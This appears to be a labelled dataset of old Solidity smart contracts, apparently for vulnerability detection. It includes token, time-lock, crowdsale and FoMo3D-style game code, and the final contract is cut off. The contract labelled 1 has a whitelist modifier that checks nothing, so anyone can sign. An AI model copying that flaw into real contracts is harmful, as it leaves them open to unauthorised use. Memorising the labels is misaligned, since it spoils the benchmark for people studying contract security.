productionGain = unitsOwned[player][unitId] * upgradeValue * (schema.unitCoinProduction(unitId) + unitCoinProductionIncreases[player][unitId]);
increasePlayersJadeProduction(player, productionGain);
} else if (upgradeClass == 2) {
unitAttackIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 3) {
unitAttackMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 4) {
unitDefenseIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 5) {
unitDefenseMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 6) {
unitJadeStealingIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 7) {
unitJadeStealingMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 8) {
unitMaxCap[player][unitId] = upgradeValue;
}
}
function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external onlyAccess {
uint256 productionLoss;
if (upgradeClass == 0) {
unitCoinProductionIncreases[player][unitId] -= upgradeValue;
productionLoss = unitsOwned[player][unitId] * upgradeValue * (10 + unitCoinProductionMultiplier[player][unitId]);
reducePlayersJadeProduction(player, productionLoss);
} else if (upgradeClass == 1) {
unitCoinProductionMultiplier[player][unitId] -= upgradeValue;
productionLoss = unitsOwned[player][unitId] * upgradeValue * (schema.unitCoinProduction(unitId) + unitCoinProductionIncreases[player][unitId]);
reducePlayersJadeProduction(player, productionLoss);
} else if (upgradeClass == 2) {
unitAttackIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 3) {
unitAttackMultiplier[player][unitId] -= upgradeValue;
} else if (upgradeClass == 4) {
unitDefenseIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 5) {
unitDefenseMultiplier[player][unitId] -= upgradeValue;
} else if (upgradeClass == 6) {
unitJadeStealingIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 7) {
unitJadeStealingMultiplier[player][unitId] -= upgradeValue;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30326400;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x85aFf53CFfB393D8fCD4FB5b8bb6ce9e482A7054;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity ^0.4.18;
contract ARTIDDigitalSign is Ownable{
mapping(bytes32 => Version[]) digitalCertificateArchive;
struct Version {
uint8 version;
bytes32 sign;
uint256 timestamp;
}
function Sign(string guid, string hash) public onlyWhitelisted {
address _signer = msg.sender;
string memory addressString = toString(_signer);
string memory concatenatedData = strConcat(addressString,guid);
bytes32 hashed = keccak256(concatenatedData);
uint8 version = 1;
Version[] memory versions = digitalCertificateArchive[hashed];
uint length = versions.length;
for(uint8 i = 0; i < length; i++)
{
version = i+2;
}
bytes32 hashedSign = keccak256(hash);
Version memory v = Version(version,hashedSign,now);
digitalCertificateArchive[hashed].push(v);
}
function GetSign(string guid, address signer) public view returns(bytes32 sign, uint8 signedVersion,uint256 timestamp){
address _signer = signer;
string memory addressString = toString(_signer);
string memory concatenatedData = strConcat(addressString,guid);
bytes32 hashed = keccak256(concatenatedData);
uint length = digitalCertificateArchive[hashed].length;
Version memory v = digitalCertificateArchive[hashed][length-1];
return (v.sign, v.version, v.timestamp);
}
function GetSignVersion(string guid, address signer, uint version) public view returns(bytes32 sign, uint8 signedVersion,uint256 timestamp){
address _signer = signer;
string memory addressString = toString(_signer);
string memory concatenatedData = strConcat(addressString,guid);
bytes32 hashed = keccak256(concatenatedData);
Version memory v = digitalCertificateArchive[hashed][version-1];
return (v.sign, v.version, v.timestamp);
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function toString(address x) returns (string) {
bytes memory b = new bytes(20);
for (uint i = 0; i < 20; i++)
b[i] = byte(uint8(uint(x) / (2**(8*(19 - i)))));
return string(b);
}
function bytes32ToString(bytes32 x) constant returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
mapping (address => bool) whitelist;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
whitelist[msg.sender] == true;
_;
}
function addAddressToWhitelist(address addr)
onlyOwner
public
{
whitelist[addr] = true;
emit WhitelistedAddressAdded(addr);
}
function isInWhitelist(address addr)
public
view
returns (bool)
{
return whitelist[addr] == true;
}
function addAddressesToWhitelist(address[] addrs)
onlyOwner
public
{
for (uint256 i = 0; i < addrs.length; i++) {
addAddressToWhitelist(addrs[i]);
}
}
function removeAddressFromWhitelist(address addr)
onlyOwner
public
{
whitelist[addr] = false;
emit WhitelistedAddressRemoved(addr);
}
function removeAddressesFromWhitelist(address[] addrs)
onlyOwner
public
{
for (uint256 i = 0; i < addrs.length; i++) {
removeAddressFromWhitelist(addrs[i]);
}
}
} | 1 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Ownable() {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused {
paused = false;
Unpause();
}
}
contract ERC20 {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
function transferFrom(address from, address to, uint256 value) returns (bool);
function allowance(address owner, address spender) constant returns (uint256);
function approve(address spender, uint256 value) returns (bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
function balanceOf(address _owner) constant returns(uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns(bool success) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool success) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) returns(bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) returns(bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) returns(bool success) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract ALTToken is BurnableToken, Ownable {
string public name = "Altyn Token";
string public symbol = "ALT";
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = 100000000 * 1 ether;
function ALTToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
contract ALTCrowdsale is Pausable {
using SafeMath for uint;
struct Step {
uint priceUSD;
uint amountTokens;
}
ALTToken public token;
address public beneficiary = 0x9df0be686E12ccdbE46D4177442878bf8636E89f;
uint public collected;
uint public collectedUSD;
uint public tokensSold;
uint public maxTokensSold = 22000000 * 1 ether;
uint public priceETH = 300;
uint public softCapUSD = 300000;
uint public softCap = softCapUSD / priceETH * 1 ether;
uint public hardCapUSD = 5500000;
uint public hardCap = hardCapUSD / priceETH * 1 ether;
Step[] steps;
uint public startTime = 1508225824;
uint public endTime = startTime + 45 days;
bool public crowdsaleFinished = false;
event SoftCapReached(uint256 etherAmount);
event HardCapReached(uint256 etherAmount);
event NewContribution(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event Withdraw();
modifier onlyAfter(uint time) { require(now > time); _; }
modifier onlyBefore(uint time) { require(now < time); _; }
function ALTCrowdsale() {
token = new ALTToken();
steps.push(Step(15, 2000000));
steps.push(Step(20, 5000000));
steps.push(Step(25, 15000000));
steps.push(Step(30, 22000000));
}
function() payable {
purchase();
}
function purchase() onlyAfter(startTime) onlyBefore(endTime) whenNotPaused payable {
require(!crowdsaleFinished);
require(msg.value >= 0.001 * 1 ether && msg.value <= 10000 * 1 ether);
require(tokensSold < maxTokensSold);
uint amount = 0;
uint sum = 0;
for(uint i = 0; i < steps.length; i++) {
if(tokensSold.add(amount) < steps[i].amountTokens * 1 ether) {
uint avail = (steps[i].amountTokens * 1 ether) - tokensSold.add(amount);
uint nece = (msg.value - sum) * priceETH / steps[i].priceUSD * 100;
uint buy = nece;
if(buy > avail) buy = avail;
amount += buy;
sum += buy / (priceETH / steps[i].priceUSD * 100);
if(buy == nece) break;
}
}
require(tokensSold.add(amount) <= maxTokensSold);
if(collected < softCap && collected.add(sum) >= softCap) {
SoftCapReached(collected.add(sum));
}
collected = collected.add(sum);
collectedUSD = collected * priceETH / 1 ether;
tokensSold = tokensSold.add(amount);
require(token.transfer(msg.sender, amount));
if(sum < msg.value) require(msg.sender.send(msg.value - sum));
NewContribution(msg.sender, amount, sum);
if(collected >= hardCap) {
HardCapReached(collected);
}
}
function withdraw() onlyOwner {
require(!crowdsaleFinished);
beneficiary.transfer(collected);
if(tokensSold < maxTokensSold) token.burn(maxTokensSold - tokensSold);
token.transfer(beneficiary, token.balanceOf(this));
token.transferOwnership(beneficiary);
crowdsaleFinished = true;
Withdraw();
}
} | 0 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3DshortAgain is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF6b8836492f8332D17B1496828d2bEE71ad511DA);
address private admin = msg.sender;
string constant public name = "FOMO Short Again";
string constant public symbol = "SHORT_AGAIN";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 30 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
